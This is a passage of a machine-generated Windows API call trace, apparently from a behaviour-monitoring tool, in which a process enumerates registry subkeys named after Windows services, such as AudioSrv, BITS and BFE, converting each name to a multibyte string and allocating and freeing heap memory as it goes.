lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.076] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.076] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0259.076] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.076] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.077] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.077] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0259.077] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.077] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.078] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.078] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0259.078] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.078] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1ad8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.079] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0259.079] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.079] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.080] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.080] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0259.080] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.080] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.081] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0259.081] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.081] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.081] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.081] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.081] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0259.081] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0259.081] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.081] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0259.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.128] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0259.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.128] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0259.128] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.128] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.129] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.129] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.129] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0259.129] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0259.129] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.129] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0259.129] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, 